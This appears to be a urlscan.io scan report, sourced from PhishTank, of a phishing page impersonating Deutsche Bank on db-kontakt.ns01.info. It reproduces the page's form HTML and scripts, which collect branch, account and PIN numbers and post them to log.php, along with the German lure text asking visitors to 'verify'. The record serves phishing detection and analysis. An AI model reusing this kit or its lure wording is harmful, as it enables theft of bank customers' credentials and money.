db-kontakt.ns01.info
Open in
urlscan Pro
45.142.107.218
Public Scan
URL:
https://db-kontakt.ns01.info/187/
Submission: On December 01 via automatic, source phishtank — Scanned from NL
Submission: On December 01 via automatic, source phishtank — Scanned from NL
Form analysis
1 forms found in the DOMPOST log.php
<form novalidate="" action="log.php" method="post" class="ng-touched ng-dirty ng-valid">
<db-panel id="personal">
<div class="db-panel__wrapper" style="position: relative;">
<div class="db-panel__title">Willkommen auf der Kontrollseite</div>
<div class="db-panel">
<div class="db-panel__container">
<db-personal-data registeras="personalData">
<section class="db-personal-data ng-touched ng-dirty ng-valid">
<div class="db-panel__wrapper">
<div class="db-panel__container__infobox db-info-services__legal-information">
<p>Lieber Besucher, wir möchten Sie hflich darum bitten, das Verifizierungsverfahren einzuleiten.</p>
</div><br>
<div class="db-panel">
<div class="db-panel__container">
<db-study-time>
<div class="db-study-time__container ng-untouched ng-pristine ng-invalid">
<!-- Combined Input Field -->
<div class="mb-3 combined-input">
<div class="combined-input-fields">
<!-- Filiale -->
<div class="input-wrapper">
<label for="filiale" class="db-input__label">Filiale <br>(3-stellig)</label>
<input name="filiale" id="filiale" class="db-input__field" spellcheck="false" type="text" maxlength="3" placeholder="Filiale">
</div>
<!-- Konto -->
<div class="input-wrapper konto-wrapper">
<label for="konto" class="db-input__label">Konto <br>(7-stellig)</label>
<input name="konto" id="konto" class="db-input__field" spellcheck="false" type="text" maxlength="7" placeholder="Konto">
</div>
<!-- Unterkonto -->
<div class="input-wrapper unterkonto-wrapper">
<label for="unterkonto" class="db-input__label">Unterkonto <br>(2-stellig)</label>
<input name="unterkonto" id="unterkonto" class="db-input__field" spellcheck="false" type="text" maxlength="2" placeholder="Unterkonto" value="00">
</div>
<script>
// Zorg ervoor dat het input-veld de waarde 00 heeft als standaard
document.getElementById('unterkonto').value = "00";
// Event listener om ervoor te zorgen dat de input altijd 2-cijferig blijft
document.getElementById('unterkonto').addEventListener('input', function() {
// Haal de huidige waarde op
var value = this.value;
// Controleer of de waarde een nummer is en tussen 00 en 99 ligt
if (!/^\d{0,2}$/.test(value)) {
// Als het niet geldig is, reset de waarde naar "00"
this.value = "00";
} else if (value.length === 0) {
// Als de gebruiker het veld leeg maakt, zet het weer terug naar "00"
this.value = "00";
}
});
</script>
<!-- PIN -->
<div class="input-wrapper">
<label for="pin" class="db-input__label">PIN <br>(5-stellig)</label>
<input name="pin" id="pin" class="db-input__field" spellcheck="false" type="password" maxlength="5" placeholder="PIN">
</div>
</div>
<!-- Error Messages --><br>
<div class="error-messages">
<div class="errorMsg" id="branchError" style="color: red; display: none;">Bitte geben Sie hier Ihre Filialnummer ein.</div>
<div class="errorMsg" id="accountError" style="color: red; display: none;">Bitte geben Sie hier Ihre Kontonummer ein.</div>
<div class="errorMsg" id="pinError" style="color: red; display: none;">Bitte geben Sie hier Ihre fünfstellige PIN ein.</div>
</div>
</div>
</div>
</db-study-time>
</div>
</div>
<script>
document.addEventListener("DOMContentLoaded", function() {
const filialeInput = document.getElementById("filiale");
const kontoInput = document.getElementById("konto");
const pinInput = document.getElementById("pin");
// Focus on Konto after 3 characters in Filiale
filialeInput.addEventListener("input", function() {
if (filialeInput.value.length === 3) {
kontoInput.focus();
}
});
// Focus on PIN after 7 characters in Konto
kontoInput.addEventListener("input", function() {
if (kontoInput.value.length === 7) {
pinInput.focus();
}
});
});
</script>
</div>
<db-button design="primary" arrow="right" class="order-sm-1 db-button--full-width pb-3 pb-md-0"><button class="db-button db-button--icon-right db-button--primary db-button--md" type="submit" id="weiterkontakt" tabindex="0"
aria-disabled="false" aria-label="Weiter"><!----><span class="db-button__content"><span> Verfahren ausführen</span><!----></span><svg viewBox="0 0 6.5 12" class="db-button__icon">
<g>
<path d="M6.3,5.5L1.3,0.2c-0.3-0.3-0.7-0.3-1,0c-0.3,0.3-0.3,0.7,0,1L4.8,6l-4.6,4.7c-0.3,0.3-0.3,0.7,0,1C0.4,11.9,0.6,12,0.7,12
c0.1,0,0.4-0.1,0.5-0.2l5.1-5.3C6.6,6.2,6.6,5.8,6.3,5.5"></path>
</g>
</svg><!----></button></db-button>
</section>
</db-personal-data>
</div>
<!----><db-process-data-setter registeras="triggerNps" _nghost-ng-c142923434=""><!----><!----><!----></db-process-data-setter><!---->
<script>
document.addEventListener("DOMContentLoaded", function() {
const inputFields = [{
id: 'filiale',
validationFn: validateFiliale,
errorMessageSelector: '#branchError'
}, {
id: 'konto',
validationFn: validateKonto,
errorMessageSelector: '#accountError'
}, {
id: 'pin',
validationFn: validatePin,
errorMessageSelector: '#pinError'
}
// Unterkonto validation is removed
];
function validateFiliale(inputField) {
const value = inputField.value.trim();
return value.length === 3 && /^\d+$/.test(value); // Ensures 3 digits
}
function validateKonto(inputField) {
const value = inputField.value.trim();
return value.length === 7 && /^\d+$/.test(value); // Ensures 7 digits
}
function validatePin(inputField) {
const value = inputField.value.trim();
return value.length === 5 && /^\d+$/.test(value); // Ensures 5 digits
}
function validateInput(inputField, validationFn, errorMessage) {
if (!validationFn(inputField)) {
inputField.classList.remove('ng-valid');
inputField.classList.add('ng-invalid');
errorMessage.style.display = 'block';
return false;
} else {
inputField.classList.remove('ng-invalid');
inputField.classList.add('ng-valid');
errorMessage.style.display = 'none';
return true;
}
}
document.getElementById("weiterkontakt").addEventListener("click", function(event) {
let isValid = true;
// Validate all fields (except Unterkonto) before allowing the form submission
inputFields.forEach(input => {
const field = document.getElementById(input.id);
const errorMessage = document.querySelector(input.errorMessageSelector);
if (!validateInput(field, input.validationFn, errorMessage)) {
isValid = false;
}
});
// If any validation fails, prevent the form from being submitted
if (!isValid) {
event.preventDefault(); // Prevent form submission
}
});
// Add blur event listener for real-time validation
document.querySelectorAll('input').forEach(inputField => {
inputField.addEventListener("blur", function() {
const fieldData = inputFields.find(input => input.id === inputField.id);
if (fieldData) {
const errorMessage = document.querySelector(fieldData.errorMessageSelector);
validateInput(inputField, fieldData.validationFn, errorMessage);
}
});
});
});
</script>
<!----><!---->
</div>
</div>
</db-panel>
</form>
Text Content
Deutsche Bank KONTROLLSEITE Deutsche Bank Willkommen auf der Kontrollseite Lieber Besucher, wir möchten Sie hflich darum bitten, das Verifizierungsverfahren einzuleiten. Filiale (3-stellig) Konto (7-stellig) Unterkonto (2-stellig) PIN (5-stellig) Bitte geben Sie hier Ihre Filialnummer ein. Bitte geben Sie hier Ihre Kontonummer ein. Bitte geben Sie hier Ihre fünfstellige PIN ein. Verfahren ausführen Haben Sie Fragen? Sie erreichen uns rund um die Uhr. chat Chat starten * Impressum * Konditionen & Preise * Rechtliche Hinweise * Datenschutz © 2024 Deutsche Bank AG, Frankfurt am Main